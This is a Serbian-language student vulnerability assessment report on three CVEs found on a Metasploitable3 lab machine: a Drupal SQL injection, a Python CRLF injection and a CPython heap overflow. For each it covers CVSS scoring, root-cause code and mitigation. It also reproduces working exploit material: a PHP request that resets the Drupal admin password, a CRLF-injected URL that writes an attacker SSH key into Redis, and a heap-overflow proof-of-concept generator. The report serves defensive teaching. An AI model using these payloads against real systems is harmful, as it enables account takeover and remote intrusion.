Vulnerability Assessment Report

Ime i prezime: Vasilije Zeković
Tim: 7
Datum: 28.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

Ranjivost br. 1

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2014-3704

- **Opis:**
  Slanjem *HTTP POST* zahteva, upotrebom *HTTP* protokola, korišćenjem porta 80 i *TCP* transportnog protokola, preko login stranice na *URI localhost/drupal/?q=node&destination=node,* sa parametrima koji su maliciozno definisani od strane korisnika, uspešno se izvršava *SQL injection* napad. Ovaj napad može dovesti do različitih zloupotreba nad bazom podataka, izvršavanjem proizvoljnih *PHP* skripti kao i instalacije *backdoors* programa. Direktno je pogođena metoda *protected function expandArguments(&$query, &$args)* apstrakne klase *abstract class DatabaseConnection extends PDO.* Pomenuta klasa i metoda pripadaju *Database Abstraction* sloju, koji omogućava podršku različitim bazama podataka.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.5
- **Vektor:** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
  AV je *Network* što predstavlja mogućnost eksploatacije ranjivosti putem mreže. Ova osobina je očekivana, jer se SQLi ostvaruje upotrebom *HTTP* zahteva upućenom ranjivom veb servisu.
  AC je *Low* što predstavlja nizak stepen tehničkog znanja za potrebe eksploatacije ranjivosti. Delom je ovo slučaj jer je SQLi jedna od najpoznatijih ranjivosti u svetu sajber bezbednosti.
  PR je *None* što govori da su nepotrebne ikakve privilegije radi uspešne eksploatacije

ranjivosti. Korišćenjem samo pristupne tačke koja je vezana za formu prijavljivanja se može izvršiti eksploatacija ove ranjivosti.
UI je *None* što govori da je nepotrebna bilo kakva interakcija od strane korisnika (administratora) za potrebe ostvarivanja ranjivosti. Korisnik može poslati zahtev ka veb servisu sa proizvoljnim vrednostima čime se potencijalno izvršava upit zle namere, bez ikakvog dodatnog angažmana od strane administratora.
S je *Unchanged* predstavlja osobinu ranjivosti koja govori da se eksploatacija sistema obavlja nad istim opsegom koji je i bio cilj napada. Dakle, sve vreme će to biti najčešće baza podataka nad kojom se izvršava veb servis, čime se napad neće proširivati na druge delove servera ili druge sisteme. Ipak, moguće je uz neke eksploite obezbediti RCE i kasnije proširivanje opsega napada.
C je *High* što predstavlja mogućnost da napadač dobije pristup poverljivim informacijama. Zahvaljujući mogućnosti pokretanja proizvoljnih upita se takođe može izvršiti i upit kreiranja naloga admina i zahvaljujući samo jednom upitu se dobija pristup svim poverljivim informacijama. Svakako je moguće i iz samih upita zle namere narušiti poverljivost informacija.
I je *High* što predstavlja negativnu posledicu u kojoj napadač može narušiti integritet podataka. Zahvaljujući mogućnosti pokretanja proizvoljnih upita se takođe može izvršiti i upit operacija ažuriranja čime se ugrožava integritet podataka.
A je *High* što govori da se delovanjem napadača dostupnost sistema može narušiti. Na vrlo jednostavan način se može sabotirati rad čitavog veb servisa, praktično sa pokretanjem samo jednog upita, kao što je na primer upit brisanja svih podataka iz baze podataka.

- **Opravdanje:**
  Ranjivost ima prilično visok *CVSS* skor zahvaljujući nepovoljnosti faktora opisanih u nastavku. Eksploatacije ranjivosti sa udaljene pozicije govori da svaki pripadnik mreže može biti napadač čime se ostvaruje velika numerička vrednost potencijalnih napadača. Velika većina napadača u svetu sajber sigurnosti su upoznati sa ovim tipom napada, jer je prilično karakterističan i jednostavan za izvođenje. Ozbiljnost eksploatacije ranjivosti se ogleda u mogućnosti eksploatacije putem mreže, pre svega interneta, uz minimalno tehničkog znanja, kao i lake penetracije usled nedostatka interakcije od strane administratora i potrebnih permisija. Kod ovakvog tipa napada najčešće se ne ostvaruje *RCE* što dalje utiče i na sam opseg delovanja napada. Poverljivost, integritet i dostupnost mogu biti u potpunosti narušeni, dok je opseg napada limitiran čime se umanjuje *CVSS* skor. Zanimljivo je da su se eksploiti povezani s ovom ranjivošću veoma brzo proširili unutar brojne hakerske zajednice nakon objave u vezi postojanja ranjivosti.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da. Postoji više javno dostupnih eksploita koji su različitog tipa.
  Odabrani eksploit: https://www.exploit-db.com/exploits/34993

- **Opis eksploita:**
  Eksploit se nadovezuje na dosadašnju priču. Potrebno je podesiti *URL* adresu sajta koju napadač cilja. Slanjem *HTTP POST* zahteva sa malicioznim parametrima na *login* stranicu se resetuju kredencijali administratorskog naloga na *username* = *admin* i *password* = *admin.* U slučaju uspešne eksploatacije ranjivosti, napadač ima pristup administratorskom nalogu. Maliciozni parametri predstavljaju zapravo nastavak upita koji se generiše u metodi *expandArguments*. Što je detaljnije objašnjeno u tački 4.
- **Kod eksploita (ukoliko postoji):**

```
$url = 'http://www.example.com';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" .
urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') .
"'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
```

  Srž eksploita je samo slanje *HTTP POST* zahteva na vešt način. Upit koristi *URL* kodiranje pa nije pregledan. Suština upita je izmena korisničkog imena i lozinke korisnika sa *UID* = 1 koji obično predstavlja administratorski nalog. Lozinka sa vrednošću *admin* je unapred hešovana prema poznatom načinu heširanja za *Drupal 7*. Na kraju se parametri zahteva pakuju u kontekst za *HTTP* zahtev i pokreće proces slanja zahteva.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost je uvedena od verzije 7.0 i postojala je sve do verzije 7.31. Konkretnije datum uvođenja ranjivosti je 15.4.2010. na osnovu *commit-a* sa identifikatorom c27d663. Datum saniranja ranjivosti je 15.10.2014 na osnovu *commit-a* sa identifikatorom 26a7752. Sama ranjivost se ogleda u neadekvatnoj validaciji ulaznih parametara u funkciji *expandArguments* (pogledati kod ispod). Razlog za uvođenje funkcije predstavljaju forme čiji su ulazi ponovljivi, a koje je potrebno proslediti bazi podataka. Primer takve forme je forma za izmenu lozinke korisnika, pri čemu je staru lozinku potrebno uneti dva puta. Dakle, cilj funkcije je priprema parametara za potrebe formiranje upita, tačnije, ukoliko postoje u rečniku neke vrednosti ključeva koje su nizovi potrebno ih je isparsirati. Primer takvog slučaja je postojanje ključa *pass* u rečniku čija je vrednost zapravo niz sa dva elementa, lozinka uneta u prvom *input* polju i lozinka uneta u drugom *input* polju. Za sve vrednosti elemenata niza unutar rečnika će se parametri formirati na osnovu ključa rečnika ***$key*** uz konkatenaciju sa rednim brojem elementa ugnježdenog niza ***$i***. Zatim će se svi novonastali parametri zameniti sa starim parametrom ***$key*** unutar same promenljive upita ***$query***. Ista logika se primenjuje i za niz argumenata ***$args***, što predstavlja niz ključeva rečnika. Ključ rečnika čija je vrednost niz će biti zamenjen sa mnoštvom novih ključeva elemenata niza. U slučaju sa

ponovljivim unosom lozinke bi se umesto '*pass: ['string1', 'string2']*' našle vrednosti *pass1: 'string1'* i *pass2: 'string2'*. Glavni krivac ove funkcije leži u činjenici da se nigde ne validira sama vrednost promenljive ***$i***, čime se potencijalno mogu uneti *string-ovi* (umesto *integer-i*) zle namere koji se dalje propagiraju u samom upitu. Ako se na stranici za prijavu napravi još jedno *input* polje, tako da je vrednost atributa *name = name[0; maliciozni upit;; # sve ostalo postaje komentar]* i vrednost atributa postojećeg *input* polja je *name = name[0]*. Tada će se ***$query*** evaluirati u *"SELECT * FROM [users] WHERE name = :name_0; maliciozni upit;; # , :name_0 AND status = 1"* što dovodi do uspešne eksploatacije ranjivosti.

- **Primer Koda (ako je primenljivo):**

```
protected function expandArguments(&$query, &$args) {
    $modified = FALSE;

    foreach (array_filter($args, 'is_array') as $key => $data) {
        $new_keys = array();
        foreach ($data as $i => $value) {
            $new_keys[$key . '_' . $i] = $value;
        }
        $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

        unset($aargs[$key]);
        $args += $new_keys;

        $modified = TRUE;
    }

    return $modified;
}
```

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):**
  Da, *patch* je dostupan u verziji 7.32.

- **Mitigation Strategy:**
  Ažuriranje *Drupal-a* na 7.32 verziju otklanja ranjivost, pri čemu je potrebno obratiti pažnju da li su se u međuvremenu, kao posledica ranjivosti, pojavili *backdoors* programi. Razvojni tim *Drupal* platforme je izjavio da je 7h nakon objave o postojanju ranjivosti većina veb sajtova kompromitovana. Dakle, za svaki slučaj je neophodno izvršiti oporavak i resetovanje čitave aplikacije na osnovu čiste verzije *backup* podataka.
  Ukoliko administrator iz nekog razloga nije u stanju da izvrši ažuriranje verzije, otklanjanje ranjivosti se može uraditi izmenom sledeće linije u *expandArguments* metodi.
  stara linija: *foreach ($data as $i => $value) {*
  nova linija: *foreach (array_values($data) as $i => $value) {*
  Potrebno je ručno izvršiti primenu *patch-a,* izmenom već opisane linije koda ili izvršavanjem procesa ažuriranja.
  Proces ažuriranja:
  drush sql-dump --result-file=~/drupal_backup.sql

drush cache-clear all
drush pm-update drupal-7.32
drush updatedb
drush cache-clear all

- **Alternativni fix (ukoliko ne postoji vendorski):**

Ranjivost br. 2

---

1. Enumeracija CVE-a

- **CVE ID:** 2016-5699

- **Opis:**
  Reč je o ranjivosti koja pripada klasi ranjivosti *CRLF* injekcije. Još se nazivaju i *smuggling attacks* ili *protocol stream injections*. U slučaju *HTTP* protokola se koriste i *CR* (engl. carriage return) i *LF* (engl. line feed) za potrebe završetka tekućeg zaglavlja i pozicioniranja na novo. *CR* je u suštini karakter \r (*ASCII* 13), dok je *LF* karakter \n *(ASCII* 10*)*.
  Problematične su *CPython* biblioteke: *urrlib2/urllib/httplib/http.client*. One ne validiraju argumente funkcije *HTTPConnection.putheader()* čime je dozvoljeno napadaču da unosi proizvoljne nazive ili vrednosti zaglavlja. Na taj način napadač može iskoristiti *CRLF* injekciju i dodati proizvoljan kod. Dakle, da bi se ranjivost eksploatisala potrebno je poslati *HTTP(s)* zahtev, upotrebom *HTTP(s)* protokola, korišćenjem porta *80(443)* i *TCP* transportnog protokola.

---

2. CVSS skor

- **CVSS skor:** 6.1
- **Vektor:** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
  AV je *Network* što govori da je napad moguće izvesti putem mreže. Ova osobina je očekivana, jer se napad zasniva na slanju *HTTP* zahteva.
  AC je *Low* što govori da je kompleksnost napada mala. Prilog tome je što se na jednostavan način, bez preteranog predznanja, može lako vršiti eksploatacija ove ranjivosti na različite načine. Postojanje raznih eksploita baziranih na ovoj vrsti napada doprinose ovakvoj oceni.
  PR je *None* što govori da nisu potrebne posebne privilegije za uspešnu eksploataciju ove ranjivosti. Korišćenjem samo pristupne tačke koja je dostupna svima moguće je izvršiti eksploataciju ove ranjivosti.

UI je *Required* što govori da je potrebna neka akcija od strane korisnika. Aktivnost korisnika se smatra i samo otvaranje linka sa *CRLF* injekcijom.
S je *Changed* što govori da je u osnovi napada *CRLF* injekcijom da se opseg napada proširi na druge module u mreži.
C je *Low* što govori da su male šanse da posledica eksploatacije ove ranjivosti dovede do narušavanja poverljivosti podataka korisnika. U nekim slučajevima je ipak moguće otkrivanje poverljivih informacija, ali to obično nije slučaj.
I je *Low* što govori da je šansa za narušavanjem integriteta podataka vrlo mala. Ovo je logično, jer obično napad ovog tipa ne rezultuje u direktnim operacijama ažuriranja podataka.
A je *None* što govori da sabotiranje dostupnosti servisa nije primarno i da se ne ostvaruje ovakvom vrstom napada. Sabotiranje dostupnosti je karakterističnije za napade drugačijeg tipa zbog same prirode ranjivosti.

- **Opravdanje:**
  Ova ranjivost nešto ređe ima ozbiljnije posledice. Glavni fokus napada je da se kroz eksploataciju ove ranjivosti realizuju eksploatacije nekih drugih ranjiivosti, kao i proširenje na druge module. Ovakav skor ranjivosti je dodeljen pre svega zbog slabašnih vrednosti CIA trijade. Obim ranjivosti može da se iskoristi, jer postoji pregršt mogućih načina eksploatacije. Generalno, uticaj napada je najviše ograničen zbog same prirode ranjivosti.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da

- **Opis eksploita:**
  Osnovna ideja je preuzimanje kontrole nad serverom uz pomoć *CRLF* injekcije i manipulacije nad *Redis* bazom podataka. U slučaju uspešne eksploatacije, nad serverom se dobijaju *root* privilegije i mogućnost udaljenog pristupa i kontrole. Pretpostavka je da postoji *Python* server koji koristi ranjivu verziju programskog jezika, kao i da postoji *Redis* baza podataka koja služi za keširanje podataka i koja ima *root* privilegije. Takođe je potrebno da je otvoren port 22 za SSH protokol. Zahvaljujući *CRLF* injekciji *Redis* baza podataka prihvata prosleđene komande uspešno. Ukoliko *Redis* nema *root* privilegije, moguće je probati sa jednostavnijom eksploatacijom, kao što je na primer dobavljanje svih ključeva. Logika napada ostaje ista.
- **Kod eksploita (ukoliko postoji):**
  Maliciozni URL:
  127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2froot%2f.ssh%0d%0aCONFIG%20SET%20dbfilename%20authorized_keys%0d%0aSET%20foo%20ssh-rsa%20AAAAB3...public_key%0d%0aSAVE:6379/foo

%0d%0a: Kodiran CRLF karakter koji omogućava unos komandi.
CONFIG SET dir /root/.ssh: Postavljanje tekući direktorijum *Redis-a* na ~/.ssh.
CONFIG SET dbfilename authorized_keys: Kreiraj fajl u kome se čuvaju javni ključevi korisnika potrebni za autorizaciju.
SET foo ssh-rsa AAAAB3...public_key: Unesi javni ključ napadača.
SAVE: Komanda za čuvanje izmena.
Ukoliko ovakav *HTTP* zahtev sa *CRLF* injekcijom prođe uspešno, biće moguće ostvariti udaljeni pristup pomoću *SSH* protokola.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjive verzije *Python-a* su verzije pre 3.4.4 i pre 2.7.10. *Metasploitable3* poseduje ranjivu verziju 2.7.6. Datum uvođenja ranjivosti je 18.7.2000. na osnovu *commit-a* sa identifikatorom dd6eefb. Ranjivost je otkrivena od strane Guido Vranken-a, 24.11.2014. i zavedena je kao *issue* 67117.

  Datumi saniranja ranjivosti:

  - Ranjivosti su sanirane 12.3.2015. na osnovu commit-a sa identifikatorom a112a8a.

  Na sledećem primeru će biti objašnjena ranjivost, a zatim će biti prikazan kod koji ilustruje ranjivost eksplicitno.
  Dat je maliciozni *URL*: *http://127.0.0.1%0d%0aX-Injection: malicious-header*
  Osnovni preduslov za eksploataciju ranjivosti je da *Python* aplikacija zahvaljujući problematičnoj funkciji obradi prerađeni *URL* ili prihvati sadržaj malicioznog *HTTP* zahteva. Konkretnije, problematična je obrada kodiranih vrednosti koje slede nakon karaktera *“%”*, to jest *%0d%0a* (*CRLF*). Dakle, moguće je uneti karaktere za novi red i samim tim nova zaglavlja *HTTP* zahteva. Iz priloženog primera se može videti da se na vrednost 127.0.0.1, zaglavlja host, dodalo maliciozno zaglavlje. Razlog za nevalidiranje karaktera za novi red u *HTTP* zahtevu, od strane biblioteke, leži u pretpostavci da se ti karakteri koriste isključivo za oznaku kraja *HTTP* zaglavlja i da se oni ne zloupotrebljavaju. Ovakav pristup je pogrešan. Moguće je uneti proizvoljan kod na ovaj način, a ne isključivo novo *HTTP* zaglavlje.

- **Primer Koda (ako je primenljivo):**

```
def putheader(self, header, *values):
    if self.__state != _CS_REQ_STARTED:
        raise CannotSendHeader()

    if hasattr(header, 'encode'):
        header = header.encode('ascii')

    values = list(values)
    for i, one_value in enumerate(values):
        if hasattr(one_value, 'encode'):
            values[i] = one_value.encode('latin-1')
        elif isinstance(one_value, int):
            values[i] = str(one_value).encode('ascii')

    value = b'\r\n\t'.join(values)
    header = header + b': ' + value
    self._output(header)
```

Ranjivost se ogleda u mogućnosti dodavanja *CR* i *LF* karaktera negde unutar promenljive *header,* kao i unutar pojedinačnih vrednosti niza vrednosti *values.* Time je moguće dodati proizvoljan kod usred tekućeg zaglavlja, bilo vrednosti, bilo naziva zaglavlja.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):**
  Uvođenjem funkcija za proveru postojanja *CR* i *LF* karaktera negde unutar naziva ili vrednosti zaglavlja se rešava pomenuta ranjivost.

```
_is_legal_header_name = re.compile(rb'[^:\s][^:\r\n]*').fullmatch
_is_illegal_header_value = re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search
```

- **Mitigation Strategy:**
  Potrebno je ažurirati *Python* verziju. Pošto *Metasploitable3* koristi *Python 2*, rešenje predstavlja ažuriranje na verziju 2.7.10 ili 3.4.4.
  Ukoliko se u međuvremenu desi da ne postoji instaliran *Sudo* na *Metasploitable3 – Ubuntu* distribuciji, za šta su male šanse, moguće ga je instalirati prateći sledeći tutorijal.
  U nastavku sledi spisak komandi za ažuriranje *Python-a.*
  Ažuriranje paketnih informacija:
  sudo apt update
  Instalacija specifične verzije:
  sudo apt install python2.7.10
  Postavljanje podrazumevane verzije:
  sudo update-alterantives –install /usr/bin/python2 python2 /usr/bin/python2.7.10 1

- **Alternativni fix (ukoliko ne postoji vendorski):**

Ranjivost br. 3

---

1. Enumeracija CVE-a

- **CVE ID:** 2017-1000158

- **Opis:**
  Reč je o *CPython* ranjivosti koja dovodi do prekoračenja alocirane memorije za dekodirani string sa ulaza na osnovu promenljive len tipa *ssize_t*. Ranjiva funkcija je *PyString_DecodeEscape*, dok fajl vodi naziv *stringobject.c.* Namena funkcije je dekodiranje ulaznog stringa koji može posedovati *escape* sekvence u željeni format. Dakle, u ekstremnom slučaju, alociranje bafera radi izlaznog dekodiranog *Python* string objekta, dovodi do prekoračenja *heap* memorije. Ukoliko je ranjivost uspešno eksploatisana to može dovesti do izvršavanja proizvoljnog koda.

---

2. CVSS skor

- **CVSS skor:** 8.1
- **Vektor:** `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
  AV je *Network* što predstavlja mogućnost eksploatacije ranjivosti putem mreže. Ovo je moguće, jer postoje eksploiti prekoračenja *heap* memorije za koje nije potreban neposredni pristup serveru. Primer takvog eksploita je *heap spraying* napad.
  AC je *High* što govori da napadač mora biti prilično vešt kako bi uspeo izvesti ovakav napad. Potrebno je poznavati arhitekturu modula, ranjivu verziju arhitekture i različite načine napada koje je moguće primeniti zahvaljujući ovoj ranjivosti. Potrebni su znanje i iskustvo kako bi se ova ranjivost uspešno eksploatisala. Za ovu konkretnu ranjivost nedostaju adekvatni eksploiti što doprinosi kompeksnosti napada.
  PR je *None* što govori da napadaču nikakve privilegije nisu neophodne kako bi uspešno eksploatisao ranjivost. Napadač uz predznanje o modulu i uz manipulaciju ulaznih podataka postiže uspešnu eksploataciju, ponašajući se kao i svaki drugi neprivilegovan korisnik.
  UI je *None* što govori da nije potrebna interakcija od strane privilegovanih korisnika (administratora, zaposlenih i slično). Od napadača, kao standardnog korisnika, se očekuju određeni ulazni podaci. Na osnovu prirode takvog procesa je očigledno da nema potrebe za interakcijom drugih činilaca sistema.
  S je *Unchanged* što govori da je osnovni fokus napada ranjiva aplikacija i eventualno ranjivi sistem, ukoliko aplikacija ima *root* privilegije. Jedan od razloga za ovakvu ocenu ove osobine je i taj što se aplikacije vrlo često ne pokreću sa *root* privilegijama, što sprečava eskalaciju privilegija.

C je *High* što govori da postoji ozbiljna pretnja od narušavanja poverljivosti u podacima. Ukoliko se ostvare *root* privilegije, moguće je upravljati svim osetljivim podacima korisnika, čime je poverljivost narušena. Dakle, napadač vrlo lako može ukrasti osetljive podatke korisnika i kasnije ih zloupotrebiti.
I je *High* što govori da napadač vrlo lako može upravljati integritetom podataka. Dovoljno je da se napadač odluči za brisanje ili modifikaciju podataka iz baze podataka i integritet podataka je narušen.
A je *High* što govori da napadač može izazvati prekid u dostupnosti servisa. Ovo je osobina koja se možda najčešće susreće u praksi. Napadači vrlo često zahvaljujući prekoračenju *heap* memorije su u stanju da izazovu bar prekid rada servisa odnosno aplikacije.

- **Opravdanje:**
  U pitanju je jedna od najpoznatijih klasa ranjivosti koja je izuzetno opasna ukoliko se uspešno eksploatiše. Glavna osobina koja utiče na smanjenje *CVSS* skora je kompleksnost napada. Napad se može izvesti samo pod određenim uslovima čime se napad komplikuje. Na primer, vrlo je zahtevno uspešno se pozicionirati na adresu naredne instrukcije nakon izvršavanja tekuće funkcije na steku. Takođe, velika većina napadača nije dovoljno tehnički potkovana za uspešnu eksploataciju ranjivosti. Zahvaljujući mogućnosti napada putem mreže numerička vrednost napadača je izuzetno velika, što je prilično negativno. Dakle, ukoliko napadač poseduje adekvatno predznanje i iskustvo moguće izvršiti eksploataciju ranjivosti. Uspešna eksploatacija ove ranjivost uz *root* privilegije je u stanju da izvrši bilo kakav maliciozni kod. Ovo je moguće, jer se procesoru direktno podmeću maliciozne instrukcije. Što se tiče *impact-a* ranjivosti, bez obzira na *root* privilegije moguće je uticati na poverljivost, integritet i dostupnost. Eksploatabilnost nije značajna, jer napad nije tako jednostavno izvesti uspešno. *Scope* je nepromenjen, pošto se napad najčešće fokusira prvenstveno na aplikaciju, uz eventualno proširenje na tekući sistem.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da.
- **Opis eksploita:**
  U pitanju je trivijalan eksploit i više služi kao školski primer ostvarivanja ranjivosti. Može se pokrenuti samo pod određenim uslovima. Ovaj eksploit pretpostavlja da je u pitanju 32-bitna verzija *Python-a* i podrazumeva da je na određenom servisu moguće pokrenuti *Python* skriptu. Cilj eksploita je da se kreira string koji je dovoljne dužine kako bi izazvao posledično prekoračenje *heap* memorije. Ovakav eksploit nije naročito opasan, jer je potrebno posebno okruženje, sa *root* priviilegijama u kom je moguće primeniti *Python* skriptu kako bi se ozbiljnije naškodilo takvom sistemu. Takođe se uzima u obzir da je potrebno manipulisati sa memorijom na adekvatan način kako bi se započelo

izvrašavanje malicioznog koda. Bez izvršavanja malicioznog koda, što nije obuhvaćeno ovim eksploitom, najviše što ovaj eksploit može da uradi jeste *DoS* napad.

- **Kod eksploita (ukoliko postoji):**

```
multiplication_constant = 4
len_reqd = 2**32 / multiplication_constant
splitsize = 2**6
x = ('\\x41' * ((splitsize / 4) - 1)) + 'AAA\n'

with open("poc.py", 'wb') as f:
    f.write("# -*- coding: us-ascii -*-\n")
    f.write('x = """')
    for k in xrange(len_reqd / splitsize):
        f.write(x)
    f.write('"""')
```

Formira se dužina stringa koja je problematična. Sam string se sastavlja od karaktera koji predstavljaju *escape* sekvence, kao i standardne karaktere. Nakon pokretanja ovog generatora, formiraće se *.py* skripta koja sadrži problematičan string i direktivu *Python-u.* Direktiva govori interpreteru da koristi format kodiranja koji izaziva upotrebu funkcije *PyString_DecodeEscape* na problematičan način.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Pogođene Python verzije su od 3.4.0 do 3.4.8, od 3.5.0 do 3.5.5, kao i sve verzije od 2.3 do 2.7.15. Ranjivost se pre svega tiče 32-bitnih verzija. *Metasploitable3* poseduje ranjivu verziju 2.7.6. Datum uvođenja ranjivosti je 14.8.2002. na osnovu *commit-a* sa identifikatorom 8a8da79. Ranjivost je otkrivena od strane Jay Bosamiya-e, 13.6.2017. i zavedena je kao *issue* 74842.

  Datumi saniranja ranjivosti:

  - v2.7.14 je sanirana 16.9.2017. na osnovu commit-a sa identifikatorom c3c9db8.
  - v3.4.8 je sanirana 4.2.2018. na osnovu commit-a sa identifikatorom 6c004b4.
  - v3.5.5 je sanirana 4.2.2018. na osnovu commit-a sa identifikatorom fd8614c.

  Pogledati kod u nastavku. Analiza uzorka se nadovezuje na priču sa uvoda. (1) Sama ranjivost se ogleda u kreiranju promenljive *newlen* koja u slučajevima kada je ulazni *string* (*s)* veličine oko 512 *MB* i ima dužinu (*len)* (2^32 - 1) / 4 karaktera, predstavlja vrednost 4 x (2^32 – 1). *newlen* bi tada imao maksimalnu dužinu. Dakle, poenta je da se za ulazne stringove veće od 512 MB ostvaruje prekoračenje, i u takvim slučajevima *newlen* postaje mali broj. Množenje sa 4 se radi zbog najgoreg slučaja kodiranja ulaznog stringa, primer bi bio format *UTF-32. recode_encoding* će biti različit od nule, ukoliko se zada format kodiranja koji nije ‘ascii’ za *Python 2,* ‘utf-8’ i ‘iso-8859-1’ za *Python 3,* čime

je ispunjen osnovni preduslov za nastanak ranjivosti.
(2) U nastavku je zahvaljujući maloj vrednosti *newlen,* alocirana memorija za *PyString,* u kom će se skladištiti isparsirane vrednosti *escape* sekvenci, kao i ostalih karaktera.
U linijama sa oznakama (3) i (4) je pokazano da se u bafer učitavaju kodirane vrednosti iščitane iz ulaznog stringa *s*. U jednom trenutku će se desiti prekoračenje *heap* memorije, što predstavlja suštinu ranjivosti.
*Analiza je rađena za 32-bitni verziju *Python-a*.

- **Primer Koda (ako je primenljivo):**

```
3   PyObject *PyString_DecodeEscape(const char *s, Py_ssize_t len, const char *errors,
4                                   Py_ssize_t unicode,const char *recode_encoding)
5       {
6           [...]
7    (1)    Py_ssize_t newlen = recode_encoding ? 4*len:len;
8    (2)    v = PyString_FromStringAndSize((char *)NULL, newlen);
9           if (v == NULL)
10              return NULL;
11   (3)    p = buf = PyString_AsString(v);
12          end = s + len;
13          while (s < end) {
14              if (*s != '\\') {
15                non_esc:
16      #ifdef Py_USING_UNICODE
17      [...]
18      #else
19   (4)                *p++ = *s++;
20      #endif
21                  continue;
22      [...]
```

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da

```
6   if (recode_encoding && (len > PY_SSIZE_T_MAX / 4)) {
7       PyErr_SetString(PyExc_OverflowError, "string is too large");
8       return NULL;
9   }
10  newlen = recode_encoding ? 4*len:len;
```

Otklanjanje ranjivosti je trivijalno. Samo je potrebno proveriti da li je uopšte moguće alocirati neophodan izlazni stringu u najgorem slučaju, a da ne dođe do prekoračenja.

- **Mitigation Strategy:**
Kako se konkretno apply-uje gore navedeni fix/patch, preporuka alata koji to može odraditi automatski…

Potrebno je ažurirati *Python* verziju. Pošto *Metasploitable3* koristi *Python 2*, rešenje predstavlja ažuriranje na verziju 2.7.15 ili 3.5.5.
Ukoliko se u međuvremenu desi da ne postoji instaliran *Sudo* na *Metasploitable3 – Ubuntu* distribuciji, za šta su male šanse, moguće ga je instalirati prateći sledeći tutorijal.
U nastavku sledi spisak komandi za ažuriranje *Python-a.*

Ažuriranje paketnih informacija:
sudo apt update
Instalacija specifične verzije:
sudo apt install python2.7.15
Postavljanje podrazumevane verzije:
sudo update-alterantives –install /usr/bin/python2 python2 /usr/bin/python2.7.15 1

- **Alternativni fix (ukoliko ne postoji vendorski):**